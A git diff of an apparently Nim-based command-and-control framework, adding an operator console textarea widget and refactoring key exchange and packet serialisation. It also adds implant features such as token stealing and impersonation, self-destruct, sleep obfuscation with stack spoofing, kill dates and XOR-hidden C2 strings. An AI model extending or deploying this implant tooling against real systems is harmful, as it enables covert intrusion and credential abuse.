discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
|
||||||
|
|
||||||
if not component.tooltip.isNil():
|
if not component.tooltip.isNil():
|
||||||
setTooltip(component.tooltip(modules[row]))
|
setTooltip(component.tooltip(modules[row]))
|
||||||
@@ -125,9 +124,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
|
|||||||
|
|
||||||
# Header
|
# Header
|
||||||
text = "Selected"
|
text = "Selected"
|
||||||
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
|
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
|
||||||
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(2) - textSize.x) * 0.5f)
|
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(2) - textSize.x) * 0.5f)
|
||||||
igTextColored(GRAY, text)
|
igTextColored(GRAY, text.cstring)
|
||||||
|
|
||||||
# Set the size of selection box to fit all modules
|
# Set the size of selection box to fit all modules
|
||||||
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
|
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
|
||||||
@@ -139,7 +138,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
|
|||||||
for row in 0 ..< modules.len().int32:
|
for row in 0 ..< modules.len().int32:
|
||||||
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
|
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
|
||||||
igSetNextItemSelectionUserData(row)
|
igSetNextItemSelectionUserData(row)
|
||||||
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
|
discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
|
||||||
|
|
||||||
if not component.tooltip.isNil():
|
if not component.tooltip.isNil():
|
||||||
setTooltip(component.tooltip(modules[row]))
|
setTooltip(component.tooltip(modules[row]))
|
||||||
|
|||||||
123
src/client/views/widgets/textarea.nim
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
import strutils, times
|
||||||
|
import imguin/[cimgui, glfw_opengl]
|
||||||
|
import ../../utils/[appImGui, colors]
|
||||||
|
import ../../../common/types
|
||||||
|
|
||||||
|
type
|
||||||
|
TextareaWidget* = ref object of RootObj
|
||||||
|
content: ConsoleItems
|
||||||
|
contentDisplayed: ConsoleItems
|
||||||
|
textSelect: ptr TextSelect
|
||||||
|
showTimestamps: bool
|
||||||
|
autoScroll: bool
|
||||||
|
|
||||||
|
# Text highlighting
|
||||||
|
proc getText(item: ConsoleItem): cstring =
|
||||||
|
if item.itemType != LOG_OUTPUT:
|
||||||
|
return ("[" & item.timestamp & "]" & $item.itemType & item.text).cstring
|
||||||
|
else:
|
||||||
|
return ($item.itemType & item.text).cstring
|
||||||
|
|
||||||
|
proc getNumLines(data: pointer): csize_t {.cdecl.} =
|
||||||
|
if data.isNil:
|
||||||
|
return 0
|
||||||
|
let content = cast[ConsoleItems](data)
|
||||||
|
return content.items.len().csize_t
|
||||||
|
|
||||||
|
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
|
||||||
|
if data.isNil:
|
||||||
|
return nil
|
||||||
|
let content = cast[ConsoleItems](data)
|
||||||
|
let line = content.items[i].getText()
|
||||||
|
if not outLen.isNil:
|
||||||
|
outLen[] = line.len.csize_t
|
||||||
|
return line
|
||||||
|
|
||||||
|
proc Textarea*(showTimestamps: bool = true, autoScroll: bool = true): TextareaWidget =
|
||||||
|
result = new TextareaWidget
|
||||||
|
result.content = new ConsoleItems
|
||||||
|
result.content.items = @[]
|
||||||
|
result.contentDisplayed = new ConsoleItems
|
||||||
|
result.contentDisplayed.items = @[]
|
||||||
|
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.contentDisplayed), 0)
|
||||||
|
result.showTimestamps = showTimestamps
|
||||||
|
result.autoScroll = autoScroll
|
||||||
|
|
||||||
|
# API to add new content entry
|
||||||
|
proc addItem*(component: TextareaWidget, itemType: LogType, data: string, timestamp: string = now().format("dd-MM-yyyy HH:mm:ss")) =
|
||||||
|
for line in data.split("\n"):
|
||||||
|
component.content.items.add(ConsoleItem(
|
||||||
|
timestamp: timestamp,
|
||||||
|
itemType: itemType,
|
||||||
|
text: line
|
||||||
|
))
|
||||||
|
|
||||||
|
proc clear*(component: TextareaWidget) =
|
||||||
|
component.content.items.setLen(0)
|
||||||
|
component.contentDisplayed.items.setLen(0)
|
||||||
|
component.textSelect.textselect_clear_selection()
|
||||||
|
|
||||||
|
proc isEmpty*(component: TextareaWidget): bool =
|
||||||
|
return component.content.items.len() <= 0
|
||||||
|
|
||||||
|
# Drawing
|
||||||
|
proc print(component: TextareaWidget, item: ConsoleItem) =
|
||||||
|
if item.itemType != LOG_OUTPUT and component.showTimestamps:
|
||||||
|
igTextColored(GRAY, ("[" & item.timestamp & "]").cstring, nil)
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
|
||||||
|
case item.itemType:
|
||||||
|
of LOG_INFO, LOG_INFO_SHORT:
|
||||||
|
igTextColored(CONSOLE_INFO, ($item.itemType).cstring)
|
||||||
|
of LOG_ERROR, LOG_ERROR_SHORT:
|
||||||
|
igTextColored(CONSOLE_ERROR, ($item.itemType).cstring)
|
||||||
|
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
|
||||||
|
igTextColored(CONSOLE_SUCCESS, ($item.itemType).cstring)
|
||||||
|
of LOG_WARNING, LOG_WARNING_SHORT:
|
||||||
|
igTextColored(CONSOLE_WARNING, ($item.itemType).cstring)
|
||||||
|
of LOG_COMMAND:
|
||||||
|
igTextColored(CONSOLE_COMMAND, ($item.itemType).cstring)
|
||||||
|
of LOG_OUTPUT:
|
||||||
|
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), ($item.itemType).cstring)
|
||||||
|
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igTextUnformatted(item.text.cstring, nil)
|
||||||
|
|
||||||
|
proc draw*(component: TextareaWidget, size: ImVec2, filter: ptr ImGuiTextFilter = nil) =
|
||||||
|
try:
|
||||||
|
# Set styles of the eventlog window
|
||||||
|
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
||||||
|
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
||||||
|
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
|
||||||
|
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
|
||||||
|
|
||||||
|
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
|
||||||
|
if igBeginChild_Str("##TextArea", size, childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
|
||||||
|
|
||||||
|
# Display items
|
||||||
|
component.contentDisplayed.items.setLen(0)
|
||||||
|
for item in component.content.items:
|
||||||
|
|
||||||
|
# Handle search/filter
|
||||||
|
if not filter.isNil():
|
||||||
|
if filter.ImGuiTextFilter_IsActive():
|
||||||
|
if not filter.ImGuiTextFilter_PassFilter(item.getText(), nil):
|
||||||
|
continue
|
||||||
|
component.contentDisplayed.items.add(item)
|
||||||
|
component.print(item)
|
||||||
|
|
||||||
|
# Auto-scroll to bottom
|
||||||
|
if component.autoScroll:
|
||||||
|
if igGetScrollY() >= igGetScrollMaxY():
|
||||||
|
igSetScrollHereY(1.0f)
|
||||||
|
|
||||||
|
component.textSelect.textselect_update()
|
||||||
|
|
||||||
|
except IndexDefect:
|
||||||
|
# CTRL+A crashes when no items are in the text area
|
||||||
|
discard
|
||||||
|
|
||||||
|
finally:
|
||||||
|
igPopStyleColor(3)
|
||||||
|
igPopStyleVar(1)
|
||||||
|
igEndChild()
|
||||||
@@ -67,15 +67,15 @@ proc crypto_wipe*(data: ptr byte, size: csize_t) {.importc, cdecl.}
|
|||||||
|
|
||||||
# Generate X25519 public key from private key
|
# Generate X25519 public key from private key
|
||||||
proc getPublicKey*(privateKey: Key): Key =
|
proc getPublicKey*(privateKey: Key): Key =
|
||||||
crypto_x25519_public_key(result[0].addr, privateKey[0].addr)
|
crypto_x25519_public_key(addr result[0], addr privateKey[0])
|
||||||
|
|
||||||
# Perform X25519 key exchange
|
# Perform X25519 key exchange
|
||||||
proc keyExchange*(privateKey: Key, publicKey: Key): Key =
|
proc keyExchange*(privateKey: Key, publicKey: Key): Key =
|
||||||
crypto_x25519(result[0].addr, privateKey[0].addr, publicKey[0].addr)
|
crypto_x25519(addr result[0], addr privateKey[0], addr publicKey[0])
|
||||||
|
|
||||||
# Calculate Blake2b hash
|
# Calculate Blake2b hash
|
||||||
func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) =
|
func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) =
|
||||||
result = (cast[ptr[byte]](unsafeAddr bytes), uint(len(bytes)))
|
result = (cast[ptr[byte]](addr bytes), uint(len(bytes)))
|
||||||
|
|
||||||
func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] =
|
func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] =
|
||||||
let (messagePtr, messageLen) = pointerAndLength(message)
|
let (messagePtr, messageLen) = pointerAndLength(message)
|
||||||
@@ -86,7 +86,7 @@ func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, by
|
|||||||
# Secure memory wiping
|
# Secure memory wiping
|
||||||
proc wipeKey*(data: var openArray[byte]) =
|
proc wipeKey*(data: var openArray[byte]) =
|
||||||
if data.len > 0:
|
if data.len > 0:
|
||||||
crypto_wipe(data[0].addr, data.len.csize_t)
|
crypto_wipe(addr data[0], data.len.csize_t)
|
||||||
|
|
||||||
# Key pair generation
|
# Key pair generation
|
||||||
proc generateKeyPair*(): KeyPair =
|
proc generateKeyPair*(): KeyPair =
|
||||||
@@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
|||||||
|
|
||||||
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
||||||
let hash = blake2b(hashMessage, sharedSecret)
|
let hash = blake2b(hashMessage, sharedSecret)
|
||||||
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
|
copyMem(addr key[0], addr hash[0], sizeof(Key))
|
||||||
|
|
||||||
# Cleanup
|
# Cleanup
|
||||||
wipeKey(sharedSecret)
|
wipeKey(sharedSecret)
|
||||||
|
|||||||
@@ -10,9 +10,7 @@ proc sendEvent*(ws: WebSocket, event: Event, key: Key = default(Key)) =
|
|||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
let iv = generateBytes(Iv)
|
let iv = generateBytes(Iv)
|
||||||
|
var data = string.toBytes($event.data)
|
||||||
var
|
|
||||||
data = string.toBytes($event.data)
|
|
||||||
|
|
||||||
packer.add(cast[uint8](event.eventType))
|
packer.add(cast[uint8](event.eventType))
|
||||||
packer.add(cast[uint32](event.timestamp))
|
packer.add(cast[uint32](event.timestamp))
|
||||||
|
|||||||
@@ -30,7 +30,6 @@ proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
|||||||
return values[rand(values.len - 1)]
|
return values[rand(values.len - 1)]
|
||||||
|
|
||||||
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||||
|
|
||||||
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
||||||
# A random entry is selected from these specifications
|
# A random entry is selected from these specifications
|
||||||
var value: string = ""
|
var value: string = ""
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ proc nextSequence*(agentId: uint32): uint32 =
|
|||||||
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1
|
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1
|
||||||
return sequenceTable[agentId]
|
return sequenceTable[agentId]
|
||||||
|
|
||||||
|
# Sequence tracking is currently broken and needs to be reworked
|
||||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||||
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||||
|
|
||||||
@@ -20,7 +21,7 @@ proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
|||||||
# return true
|
# return true
|
||||||
|
|
||||||
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
||||||
# if seqNr <= lastSeqNr:
|
# if seqNr < lastSeqNr:
|
||||||
# return false
|
# return false
|
||||||
|
|
||||||
# # Update sequence number
|
# # Update sequence number
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer
|
|||||||
return packer
|
return packer
|
||||||
|
|
||||||
proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
|
proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
|
||||||
packer.stream.writeData(data[0].unsafeAddr, data.len)
|
packer.stream.writeData(addr data[0], data.len)
|
||||||
return packer
|
return packer
|
||||||
|
|
||||||
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
||||||
@@ -97,7 +97,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
|
|||||||
return @[]
|
return @[]
|
||||||
|
|
||||||
result = newSeq[byte](length)
|
result = newSeq[byte](length)
|
||||||
let bytesRead = unpacker.stream.readData(result[0].addr, length)
|
let bytesRead = unpacker.stream.readData(addr result[0], length)
|
||||||
unpacker.position += bytesRead
|
unpacker.position += bytesRead
|
||||||
|
|
||||||
if bytesRead != length:
|
if bytesRead != length:
|
||||||
@@ -106,7 +106,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
|
|||||||
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
|
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
|
||||||
var bytes: array[sizeof(T), byte]
|
var bytes: array[sizeof(T), byte]
|
||||||
|
|
||||||
let bytesRead = unpacker.stream.readData(bytes[0].unsafeAddr, sizeof(T))
|
let bytesRead = unpacker.stream.readData(addr bytes[0], sizeof(T))
|
||||||
unpacker.position += bytesRead
|
unpacker.position += bytesRead
|
||||||
|
|
||||||
if bytesRead != sizeof(T):
|
if bytesRead != sizeof(T):
|
||||||
|
|||||||
@@ -52,17 +52,14 @@ type
|
|||||||
CMD_SCREENSHOT = 15'u16
|
CMD_SCREENSHOT = 15'u16
|
||||||
CMD_DOTNET = 16'u16
|
CMD_DOTNET = 16'u16
|
||||||
CMD_SLEEPMASK = 17'u16
|
CMD_SLEEPMASK = 17'u16
|
||||||
|
CMD_MAKE_TOKEN = 18'u16
|
||||||
ModuleType* = enum
|
CMD_STEAL_TOKEN = 19'u16
|
||||||
MODULE_ALL = 0'u32
|
CMD_REV2SELF = 20'u16
|
||||||
MODULE_SLEEP = 1'u32
|
CMD_TOKEN_INFO = 21'u16
|
||||||
MODULE_SHELL = 2'u32
|
CMD_ENABLE_PRIV = 22'u16
|
||||||
MODULE_BOF = 4'u32
|
CMD_DISABLE_PRIV = 23'u16
|
||||||
MODULE_DOTNET = 8'u32
|
CMD_EXIT = 24'u16
|
||||||
MODULE_FILESYSTEM = 16'u32
|
CMD_SELF_DESTRUCT = 25'u16
|
||||||
MODULE_FILETRANSFER = 32'u32
|
|
||||||
MODULE_SCREENSHOT = 64'u32
|
|
||||||
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
@@ -100,16 +97,21 @@ type
|
|||||||
ZILEAN = 2'u8
|
ZILEAN = 2'u8
|
||||||
FOLIAGE = 3'u8
|
FOLIAGE = 3'u8
|
||||||
|
|
||||||
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
|
ExitType* {.size: sizeof(uint8).} = enum
|
||||||
iterator items*(e: typedesc[ModuleType]): ModuleType =
|
EXIT_PROCESS = "process"
|
||||||
yield MODULE_SLEEP
|
EXIT_THREAD = "thread"
|
||||||
yield MODULE_SHELL
|
|
||||||
yield MODULE_BOF
|
ModuleType* = enum
|
||||||
yield MODULE_DOTNET
|
MODULE_ALL = 0'u32
|
||||||
yield MODULE_FILESYSTEM
|
MODULE_SLEEP = 1'u32
|
||||||
yield MODULE_FILETRANSFER
|
MODULE_SHELL = 2'u32
|
||||||
yield MODULE_SCREENSHOT
|
MODULE_BOF = 4'u32
|
||||||
yield MODULE_SITUATIONAL_AWARENESS
|
MODULE_DOTNET = 8'u32
|
||||||
|
MODULE_FILESYSTEM = 16'u32
|
||||||
|
MODULE_FILETRANSFER = 32'u32
|
||||||
|
MODULE_SCREENSHOT = 64'u32
|
||||||
|
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
||||||
|
MODULE_TOKEN = 256'u32
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
@@ -128,7 +130,7 @@ type
|
|||||||
packetType*: uint8 # [1 byte ] message type
|
packetType*: uint8 # [1 byte ] message type
|
||||||
flags*: uint16 # [2 bytes ] message flags
|
flags*: uint16 # [2 bytes ] message flags
|
||||||
size*: uint32 # [4 bytes ] size of the payload body
|
size*: uint32 # [4 bytes ] size of the payload body
|
||||||
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
|
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption
|
||||||
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
||||||
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
||||||
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
||||||
@@ -178,9 +180,10 @@ type
|
|||||||
pid*: uint32
|
pid*: uint32
|
||||||
isElevated*: uint8
|
isElevated*: uint8
|
||||||
sleep*: uint32
|
sleep*: uint32
|
||||||
|
jitter*: uint32
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
AgentRegistrationData* = object
|
Registration* = object
|
||||||
header*: Header
|
header*: Header
|
||||||
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
|
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
|
||||||
metadata*: AgentMetadata
|
metadata*: AgentMetadata
|
||||||
@@ -191,6 +194,7 @@ type
|
|||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
username*: string
|
username*: string
|
||||||
|
impersonationToken*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ipInternal*: string
|
ipInternal*: string
|
||||||
@@ -200,6 +204,7 @@ type
|
|||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
jitter*: int
|
||||||
tasks*: seq[Task]
|
tasks*: seq[Task]
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
firstCheckin*: int64
|
firstCheckin*: int64
|
||||||
@@ -211,6 +216,7 @@ type
|
|||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
username*: string
|
username*: string
|
||||||
|
impersonationToken*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ipInternal*: string
|
ipInternal*: string
|
||||||
@@ -220,6 +226,7 @@ type
|
|||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
jitter*: int
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
firstCheckin*: int64
|
firstCheckin*: int64
|
||||||
latestCheckin*: int64
|
latestCheckin*: int64
|
||||||
@@ -229,15 +236,17 @@ type
|
|||||||
Protocol* {.size: sizeof(uint8).} = enum
|
Protocol* {.size: sizeof(uint8).} = enum
|
||||||
HTTP = "http"
|
HTTP = "http"
|
||||||
|
|
||||||
Listener* = ref object of RootObj
|
Listener* = ref object
|
||||||
server*: Server
|
server*: Server
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
|
hosts*: string
|
||||||
address*: string
|
address*: string
|
||||||
port*: int
|
port*: int
|
||||||
protocol*: Protocol
|
protocol*: Protocol
|
||||||
|
|
||||||
UIListener* = ref object of RootObj
|
UIListener* = ref object
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
|
hosts*: string
|
||||||
address*: string
|
address*: string
|
||||||
port*: int
|
port*: int
|
||||||
protocol*: Protocol
|
protocol*: Protocol
|
||||||
@@ -248,13 +257,16 @@ type
|
|||||||
type
|
type
|
||||||
EventType* = enum
|
EventType* = enum
|
||||||
CLIENT_HEARTBEAT = 0'u8 # Basic checkin
|
CLIENT_HEARTBEAT = 0'u8 # Basic checkin
|
||||||
CLIENT_KEY_EXCHANGE = 200'u8
|
CLIENT_KEY_EXCHANGE = 200'u8 # Unencrypted public key sent by both parties for key exchange
|
||||||
|
|
||||||
# Sent by client
|
# Sent by client
|
||||||
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
|
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
|
||||||
CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent
|
CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent
|
||||||
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
|
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
|
||||||
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
|
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
|
||||||
|
CLIENT_LOOT_REMOVE = 5'u8 # Remove loot on the team server
|
||||||
|
CLIENT_LOOT_GET = 6'u8 # Request file/screenshot from the team server for preview or download
|
||||||
|
CLIENT_AGENT_REMOVE = 7'u8 # Delete agent from the team server database
|
||||||
|
|
||||||
# Sent by team server
|
# Sent by team server
|
||||||
CLIENT_PROFILE = 100'u8 # Team server profile and configuration
|
CLIENT_PROFILE = 100'u8 # Team server profile and configuration
|
||||||
@@ -264,8 +276,11 @@ type
|
|||||||
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
|
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
|
||||||
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
|
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
|
||||||
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
||||||
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
|
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
|
||||||
CLIENT_LOOT = 108'u8 # Download file or screenshot to the operator desktop
|
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
|
||||||
|
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
|
||||||
|
CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated
|
||||||
|
CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session
|
||||||
|
|
||||||
Event* = object
|
Event* = object
|
||||||
eventType*: EventType
|
eventType*: EventType
|
||||||
@@ -296,17 +311,30 @@ type
|
|||||||
profile*: Profile
|
profile*: Profile
|
||||||
client*: WsConnection
|
client*: WsConnection
|
||||||
|
|
||||||
|
WorkingHours* = ref object
|
||||||
|
enabled*: bool
|
||||||
|
startHour*: int32
|
||||||
|
startMinute*: int32
|
||||||
|
endHour*: int32
|
||||||
|
endMinute*: int32
|
||||||
|
|
||||||
|
SleepSettings* = ref object
|
||||||
|
sleepDelay*: uint32
|
||||||
|
jitter*: uint32
|
||||||
|
sleepTechnique*: SleepObfuscationTechnique
|
||||||
|
spoofStack*: bool
|
||||||
|
workingHours*: WorkingHours
|
||||||
|
|
||||||
AgentCtx* = ref object
|
AgentCtx* = ref object
|
||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
ip*: string
|
hosts*: string
|
||||||
port*: int
|
sleepSettings*: SleepSettings
|
||||||
sleep*: int
|
killDate*: int64
|
||||||
sleepTechnique*: SleepObfuscationTechnique
|
|
||||||
spoofStack*: bool
|
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
|
registered*: bool
|
||||||
|
|
||||||
# Structure for command module definitions
|
# Structure for command module definitions
|
||||||
type
|
type
|
||||||
@@ -335,15 +363,28 @@ type
|
|||||||
type
|
type
|
||||||
ConsoleItem* = ref object
|
ConsoleItem* = ref object
|
||||||
itemType*: LogType
|
itemType*: LogType
|
||||||
timestamp*: int64
|
timestamp*: string
|
||||||
text*: string
|
text*: string
|
||||||
|
|
||||||
ConsoleItems* = ref object
|
ConsoleItems* = ref object
|
||||||
items*: seq[ConsoleItem]
|
items*: seq[ConsoleItem]
|
||||||
|
|
||||||
AgentBuildInformation* = ref object
|
AgentBuildInformation* = ref object
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
sleepDelay*: uint32
|
sleepSettings*: SleepSettings
|
||||||
sleepTechnique*: SleepObfuscationTechnique
|
verbose*: bool
|
||||||
spoofStack*: bool
|
killDate*: int64
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
|
LootItemType* = enum
|
||||||
|
DOWNLOAD = 0'u8
|
||||||
|
SCREENSHOT = 1'u8
|
||||||
|
|
||||||
|
LootItem* = ref object
|
||||||
|
itemType*: LootItemType
|
||||||
|
lootId*: string
|
||||||
|
agentId*: string
|
||||||
|
host*: string
|
||||||
|
path*: string
|
||||||
|
timestamp*: int64
|
||||||
|
size*: int
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ proc toBytes*(T: type string, data: string): seq[byte] =
|
|||||||
#[
|
#[
|
||||||
Compile-time string encryption using simple XOR
|
Compile-time string encryption using simple XOR
|
||||||
This is done to hide sensitive strings, such as C2 profile settings in the binary
|
This is done to hide sensitive strings, such as C2 profile settings in the binary
|
||||||
|
Original: https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim
|
||||||
]#
|
]#
|
||||||
proc calculate(str: string, key: int): string {.noinline.} =
|
proc calculate(str: string, key: int): string {.noinline.} =
|
||||||
var k = key
|
var k = key
|
||||||
@@ -101,4 +102,4 @@ proc toKey*(value: string): Key =
|
|||||||
if value.len != 32:
|
if value.len != 32:
|
||||||
raise newException(ValueError, protect("Invalid key length."))
|
raise newException(ValueError, protect("Invalid key length."))
|
||||||
|
|
||||||
copyMem(result[0].addr, value[0].unsafeAddr, 32)
|
copyMem(addr result[0], addr value[0], 32)
|
||||||
@@ -29,10 +29,11 @@ when not defined(agent):
|
|||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import osproc, strutils, strformat
|
import strformat
|
||||||
import ../agent/core/coff
|
import ../agent/core/coff
|
||||||
|
import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../common/[utils, serialize]
|
import ../common/serialize
|
||||||
|
|
||||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
@@ -57,7 +58,7 @@ when defined(agent):
|
|||||||
fileName = unpacker.getDataWithLengthPrefix()
|
fileName = unpacker.getDataWithLengthPrefix()
|
||||||
objectFileContents = unpacker.getDataWithLengthPrefix()
|
objectFileContents = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
echo fmt" [>] Executing object file {fileName}."
|
print fmt" [>] Executing object file {fileName}."
|
||||||
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
|
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
|
||||||
|
|
||||||
if output != "":
|
if output != "":
|
||||||
|
|||||||
@@ -29,10 +29,11 @@ when not defined(agent):
|
|||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
import strutils, strformat
|
import strformat
|
||||||
import ../agent/core/clr
|
import ../agent/core/clr
|
||||||
|
